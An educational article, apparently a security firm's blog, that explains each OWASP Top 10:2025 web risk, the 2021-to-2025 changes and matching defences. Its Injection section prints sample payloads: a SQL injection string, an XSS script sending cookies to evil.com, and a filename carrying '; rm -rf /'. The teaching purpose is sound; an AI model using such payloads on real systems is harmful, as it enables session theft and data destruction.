OWASP Top 10 Complete Analysis: 2025 Top 10 Web Security Risks and 2021 vs 2025 Changes

94% of websites have at least one OWASP Top 10 vulnerability.

This isn't fear-mongering. According to Veracode's report, the vast majority of websites have known security weaknesses.

The good news is these vulnerabilities all have clear protection methods. As long as you know what they are.

This article will analyze each OWASP Top 10:2025 vulnerability one by one, explaining in plain language what it is, how it's attacked, and how to protect against it, plus a complete breakdown of what changed from 2021 to 2025.

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What is OWASP Top 10?

Origin and Importance

OWASP Top 10 is the "Top 10 Web Security Risks List" published by the OWASP Organization.

This list isn't randomly compiled. It's based on real vulnerability data provided by hundreds of companies globally, statistically identifying the 10 most common and dangerous weaknesses.

Why is it important?

• Industry Standard: Adopted by compliance standards like PCI DSS, NIST
• Risk-Oriented: Higher ranking means higher risk
• Highly Practical: Each vulnerability has specific protection recommendations

If you can only learn one security checklist, this is it.

Update Cycle and Decision Process

OWASP Top 10 is updated approximately every 3-4 years.

Historical Versions:

• 2003: First edition
• 2004: Second edition
• 2007: Third edition
• 2010: Fourth edition
• 2013: Fifth edition
• 2017: Sixth edition
• 2021: Seventh edition
• 2025: Eighth edition (current latest official version)

When was the 2025 edition released?

The OWASP Foundation's Top 10:2025 was unveiled at OWASP Global AppSec in November 2025 and finalized in January 2026 — the first update since 2021. This eighth edition of the "Top 10 Security Risks" is built on data from over 2.8 million applications (described as the largest, most comprehensive application security data set to date) and an analysis of approximately 175,000 CVE records mapped to CWE weakness categories.

2025 Major Changes:

Change Type	Description
🆕 New	A03:2025 Software Supply Chain Failures — expanded from the 2021 "Vulnerable and Outdated Components" category
🆕 New	A10:2025 Mishandling of Exceptional Conditions
⬆️ Up	Security Misconfiguration moved from #5 to #2
⬇️ Down	Cryptographic Failures dropped from #2 to #4
⬇️ Down	Injection dropped from #3 to #5
🔀 Consolidated	SSRF (formerly A10:2021) folded into A01 Broken Access Control

How are rankings determined?

OWASP first ranks 12 candidate categories from the contributed data, takes the 8 with the highest incidence rate, and reserves 2 slots for emerging risks surfaced by the community survey but not yet fully reflected in the data. Data sources include:

• Security company scan data
• Bug bounty platform reports
• Enterprise real incident statistics
• Analysis of roughly 175,000 CVE-to-CWE records

Then it ranks based on "incidence rate (the percentage of applications with at least one instance)" and "impact severity."

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OWASP Top 10:2025 Vulnerabilities Explained

Below is a detailed analysis of each of the ten vulnerabilities in OWASP Top 10:2025 (the current latest official version).

A01: Broken Access Control

Ranked first again — most common and most dangerous. In 2025, SSRF is folded into this category.

What does it mean?

Users can access data or functions they shouldn't have access to.

Real Example:

You're a regular member, but by changing a URL parameter, you can see the admin page.

Original: https://example.com/user/profile?id=123
Changed: https://example.com/user/profile?id=1
Result: See someone else's personal data

Common Attack Methods:

• Horizontal Privilege Escalation: Access data of other users at the same level
• Vertical Privilege Escalation: Regular users access admin functions
• IDOR (Insecure Direct Object Reference): Directly modify ID to access others' data
• SSRF (Server-Side Request Forgery): The 2025 edition folds the formerly standalone SSRF category into Broken Access Control — tricking a server into making requests to internal resources it shouldn't reach is itself an access-control failure. The classic case is the Capital One breach: attackers exploited SSRF to make AWS servers request the internal Metadata Service, obtained IAM credentials, then accessed customer data in S3.

Protection Methods:

• Default deny all access, then explicitly grant
• Perform permission checks on every API
• Avoid exposing resource IDs in URLs
• Validate and filter user-supplied URLs, whitelist requestable targets, block requests to internal network segments (SSRF defense)
• Implement rate limiting

A02: Security Misconfiguration

Climbed from #5 to #2 in 2025 — easiest to avoid, yet most common.

What does it mean?

System settings not configured properly, leaving security holes.

Common Errors:

Error	Risk
Default passwords unchanged	Easy unauthorized access
Error messages too detailed	System information disclosure
Unnecessary services enabled	Increased attack surface
Debug mode not disabled	Sensitive information disclosure
Security patches not updated	Known vulnerabilities exploited

Real Example:

A company's S3 Bucket was set to public, resulting in customer data being downloaded wholesale.

Protection Methods:

• Establish security baseline configuration
• Automated configuration checks
• Regular scanning and auditing
• Remove unnecessary features and accounts

A03: Software Supply Chain Failures

A brand-new 2025 category, expanded from the 2021 "Vulnerable and Outdated Components" and jumping to #3.

What does it mean?

The scope grows from "using packages with known vulnerabilities" to "any failure across the entire software supply chain." Beyond outdated components, this now covers:

• Malicious modifications injected into third-party code and dependencies
• Compromises in build, distribution, or update processes
• Use of unmaintained, unsupported components
• Lack of version-inventory tracking across the whole supply chain
• Weaknesses in the CI/CD pipeline and developer tooling itself
• Lack of change management and separation of duties

Real Example:

The 2021 Log4j vulnerability (Log4Shell) affected millions of Java applications worldwide — one widely-used logging library had a hole, and the whole world was exposed.

What's the problem?

Modern software heavily depends on third-party packages. Your project might directly depend on 50 packages, but those 50 packages each depend on more. Any link with a vulnerability or a tampered component puts you at risk.

Protection Methods:

• Maintain a Software Bill of Materials (SBOM)
• Regularly scan for package vulnerabilities (OWASP Dependency-Check)
• Promptly update vulnerable packages; remove unused or unmaintained ones
• Protect the CI/CD pipeline and build environment; verify source signatures
• Enforce version-inventory tracking and change management

A04: Cryptographic Failures

Dropped from #2 to #4 in 2025. Sensitive data not properly protected.

What does it mean?

Passwords stored in plaintext, credit card numbers not encrypted, using outdated encryption algorithms.

Real Example:

In 2019, Facebook was exposed for storing hundreds of millions of user passwords in plaintext in internal logs.

Common Problems:

Problem	Description
Plaintext Transmission	Not using HTTPS
Plaintext Storage	Passwords not hashed
Weak Encryption	Using MD5, SHA1
Poor Key Management	Keys hardcoded in source code

Protection Methods:

• Site-wide HTTPS
• Hash passwords with bcrypt or Argon2
• Encrypt sensitive data storage (AES-256)
• Manage keys with Vault or KMS

A05: Injection

Dropped from #3 to #5 in 2025, but still the classic of classics.

What does it mean?

Attackers insert malicious code in input fields, making the server execute it.

Most Common Types:

SQL Injection:

-- Normal query
SELECT * FROM users WHERE id = '123'

-- Attacker inputs: 123' OR '1'='1
SELECT * FROM users WHERE id = '123' OR '1'='1'
-- Result: Retrieves all user data

XSS (Cross-Site Scripting):

<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

Command Injection:

# Website lets user input filename
filename=report.pdf

# Attacker inputs: report.pdf; rm -rf /
# Server executes: cat report.pdf; rm -rf /

Protection Methods:

• Use Parameterized Queries (Prepared Statements)
• Input validation and filtering
• Output encoding (HTML Encoding)
• Principle of least privilege

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A06: Insecure Design

A design-level flaw, not a coding mistake. Ranked #6 in 2025.

What does it mean?

It's not that the code is wrong, the design itself is flawed.

Real Example:

An e-commerce site's "Forgot Password" feature:

1. Enter Email
2. System sends verification code (4 digits)
3. Enter verification code to reset password

What's the problem? 4 digits only have 10,000 possibilities, attackers can brute force it.

Common Design Flaws:

• Lack of rate limiting
• No protection against automated attacks
• Business logic vulnerabilities
• Lack of threat modeling

Protection Methods:

• Do threat modeling during design phase
• Use secure design patterns
• Add abuse prevention mechanisms
• Regular design reviews

A07: Authentication Failures

Login mechanism has vulnerabilities. In 2025 the category was renamed from "Identification and Authentication Failures" to the shorter "Authentication Failures."

What does it mean?

Attackers can bypass login or easily obtain others' accounts.

Common Problems:

• Allows weak passwords (123456)
• No brute force protection
• Poor session management
• No multi-factor authentication

Attack Methods:

Attack	Description
Brute Force	Program tries all password combinations
Credential Stuffing	Use leaked credentials to attempt login
Session Hijacking	Steal post-login session

Protection Methods:

• Enforce password complexity
• Implement login failure lockout
• Use Multi-Factor Authentication (MFA)
• Secure session management

A08: Software or Data Integrity Failures

Not verifying software or data integrity, potentially allowing malicious code injection. In 2025 the name changed slightly from "Software and Data Integrity Failures" to "Software or Data Integrity Failures."

What does it mean?

Not verifying software or data integrity, potentially allowing malicious code injection.

Common Problems:

• CI/CD Pipeline without integrity checks
• Auto-updates without signature verification
• Deserialization vulnerabilities

Real Example:

SolarWinds supply chain attack. Attackers compromised SolarWinds' build environment, injecting backdoors into software updates, affecting thousands of organizations including US government agencies.

Protection Methods:

• Verify software signatures
• Protect CI/CD Pipeline
• Use secure deserialization methods

A09: Security Logging and Alerting Failures

Got hacked and didn't even know. In 2025 the category was renamed from "Security Logging and Monitoring Failures" to "Security Logging and Alerting Failures" (monitoring → alerting).

What does it mean?

Insufficient logging and alerting, unable to detect or investigate attacks.

What's the problem?

According to statistics, enterprises take an average of 197 days to discover data breaches. Often they only find out when notified externally.

Common Problems:

• Not logging login failures
• Logs not centrally managed
• No alerting mechanisms
• Log retention too short

Protection Methods:

• Log all security-related events
• Centralized log management (SIEM)
• Set up alerting rules
• Regular log review

A10: Mishandling of Exceptional Conditions

A brand-new 2025 category. Unsafe handling when systems face abnormal or unexpected conditions.

What does it mean?

When a program hits an error, exception, or unexpected input, it fails to handle it safely — including improper error handling, logical errors, and the most dangerous "fail-open" behavior: an operation that should have been blocked gets through because an exception wasn't caught correctly.

Common Problems:

• Uncaught exceptions leak stack traces and internal system information to attackers
• Flawed error-handling logic that attackers deliberately trigger to bypass checks
• Authorization or validation checks that default to allow (fail-open) instead of deny (fail-safe) on error
• Poorly handled boundary conditions and race conditions

Protection Methods:

• Explicitly catch and handle all exceptions; return only generic error messages externally
• Design security mechanisms to fail-safe / fail-closed
• Thoroughly test logical errors and boundary conditions
• Log exceptional events for monitoring and investigation

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Historical Version Comparison

2021 vs 2025 Major Changes

The 2025 edition is the first update since 2021. The table below maps each 2021 item to its 2025 rank and name:

2021 Version	2025 Version	Change
A01 Broken Access Control	A01 Broken Access Control	Stays #1, SSRF folded in
A02 Cryptographic Failures	A04 Cryptographic Failures	Down 2 ranks
A03 Injection	A05 Injection	Down 2 ranks
A04 Insecure Design	A06 Insecure Design	Down 2 ranks
A05 Security Misconfiguration	A02 Security Misconfiguration	Up 3 ranks
A06 Vulnerable and Outdated Components	A03 Software Supply Chain Failures	Expanded, renamed, up 3 ranks
A07 Identification and Authentication Failures	A07 Authentication Failures	Same rank, renamed
A08 Software and Data Integrity Failures	A08 Software or Data Integrity Failures	Same rank, minor rename
A09 Security Logging and Monitoring Failures	A09 Security Logging and Alerting Failures	Same rank, renamed (monitoring→alerting)
A10 Server-Side Request Forgery (SSRF)	Merged into A01	SSRF folded into Broken Access Control
—	A10 Mishandling of Exceptional Conditions	Brand-new category

2021→2025 in one line: two brand-new categories (Software Supply Chain Failures, Mishandling of Exceptional Conditions), SSRF merged into Broken Access Control, Security Misconfiguration surging up, and the remaining classics shuffled or renamed.

Why These Changes?

• Supply chain is now the front line: After Log4Shell and SolarWinds, supply-chain attacks were broken out and expanded into A03, no longer just "vulnerable components."
• Misconfiguration is increasingly common: With cloud, containers, and IaC everywhere, misconfiguration's incidence in the data rose sharply, pushing it from #5 to #2.
• SSRF back to its essence: OWASP views "tricking a server into making a request it shouldn't" as fundamentally an access-control failure, so SSRF was merged back into A01.
• Access control still #1: Because it has the highest number of occurrences in real-world applications.

The 2017 → 2021 Changes (Historical Recap)

2017 Version	2021 Version	Change
A1: Injection	A03: Injection	Dropped 2 ranks
A2: Broken Authentication	A07: Auth Failures	Dropped 5 ranks
A3: Sensitive Data Exposure	A02: Cryptographic Failures	Rose 1 rank, renamed
A5: Broken Access Control	A01: Broken Access Control	Rose to #1
A7: XSS	Merged into A03 Injection	Merged
-	A04: Insecure Design	New in 2021
-	A10: SSRF	New in 2021 (merged back into A01 in 2025)

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How to Use OWASP Top 10

Knowing what the vulnerabilities are is just the first step. The key is how to use this list.

Development Team Self-Check List

Before each release, check against Top 10:2025:

A01 Access Control:

• Does every function have permission checks?
• Can't access others' data by modifying parameters?
• Is SSRF (server making requests to internal resources) prevented?

A02 Misconfiguration:

• Default credentials removed, Debug mode disabled?
• Security baseline established and checks automated?

A03 Supply Chain:

• SBOM maintained and package vulnerabilities scanned?
• CI/CD pipeline and build environment protected?

A04 Encryption:

• Is sensitive data encrypted in storage?
• Is HTTPS used site-wide?

A05 Injection:

• Using parameterized queries?
• Is input validation done?

Continue through all 10 items.

Code Review Focus Points

During Code Review, pay special attention to (2025 category in parentheses):

Code Pattern	Possible Vulnerability
String-concatenated SQL	A05 Injection
Direct output of user input	A05 XSS (Injection)
API without permission checks	A01 Access Control
Hardcoded passwords or keys	A04 Cryptographic Failures
eval() or exec()	A05 Injection
Uncaught exceptions / fail-open	A10 Mishandling of Exceptional Conditions

Penetration Testing Coverage

When doing penetration testing, ensure all Top 10:2025 items are covered:

□ A01: Test privilege escalation (incl. SSRF)
□ A02: Test misconfiguration
□ A03: Scan supply chain and package vulnerabilities
□ A04: Test encryption strength
□ A05: Test various injections
□ A06: Test business logic / design vulnerabilities
□ A07: Test login mechanism
□ A08: Test software / data integrity
□ A09: Check logging and alerting coverage
□ A10: Test handling of exceptional conditions (fail-open)

Want to scan yourself with professional tools? See OWASP ZAP Complete Tutorial.

Want to practice these attacks hands-on? Try OWASP Juice Shop Practical Tutorial.

Want to use OWASP Top 10 for internal auditing? Book security assessment, we provide professional assessment services.

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FAQ

Q1: What's the latest OWASP Top 10 version, and how often is it updated?

The current latest official version is OWASP Top 10:2025, unveiled at OWASP Global AppSec in November 2025 and finalized in January 2026 — the first update since 2021. OWASP Top 10 is updated approximately every 3-4 years. OWASP also maintains other specialized lists that update more frequently, such as API Top 10 (2023) and LLM Top 10 (2025).

Q2: What's the biggest difference between OWASP Top 10 2021 and 2025?

Four main things: (1) two new categories — A03 Software Supply Chain Failures and A10 Mishandling of Exceptional Conditions; (2) SSRF moved from a standalone A10 into A01 Broken Access Control; (3) Security Misconfiguration jumped from #5 to #2; (4) Cryptographic Failures, Injection, and Insecure Design each dropped 2 ranks. Broken Access Control stayed #1 across both editions. Overall, the 2025 edition puts more emphasis on the supply chain and exception handling.

Q3: Do small and medium enterprises need to follow OWASP Top 10?

It's not "follow," it's "reference." OWASP Top 10 is not a regulation with no mandatory requirement. But if your website handles customer data, payments, or sensitive information, following Top 10 is best practice for protecting yourself and your customers. SMEs should pay even more attention because security incidents could directly lead to company closure.

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Conclusion: From Knowing to Doing

OWASP Top 10 is required learning for every developer and security professional.

But just knowing these 10 vulnerabilities isn't enough. You need to:

1. Understand Principles: Know why these vulnerabilities exist
2. Practice Hands-On: Actually try attacking and defending
3. Integrate into Process: Incorporate checks into development workflow

Suggested Next Steps:

• Read OWASP Complete Guide to learn more OWASP resources
• Use OWASP ZAP to scan your website
• Practice these attacks on Juice Shop

Or let experts help you directly.

Book a free security assessment, have your website security evaluated against OWASP Top 10 standards.

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Reference Resources

• OWASP Complete Guide
• OWASP ZAP Complete Tutorial
• Juice Shop Practical Tutorial
• OWASP API Top 10 Guide
• OWASP LLM Top 10 Explained
• OWASP Top 10 Official Website
• OWASP Top 10:2025 Official Page
• OWASP Cheat Sheet Series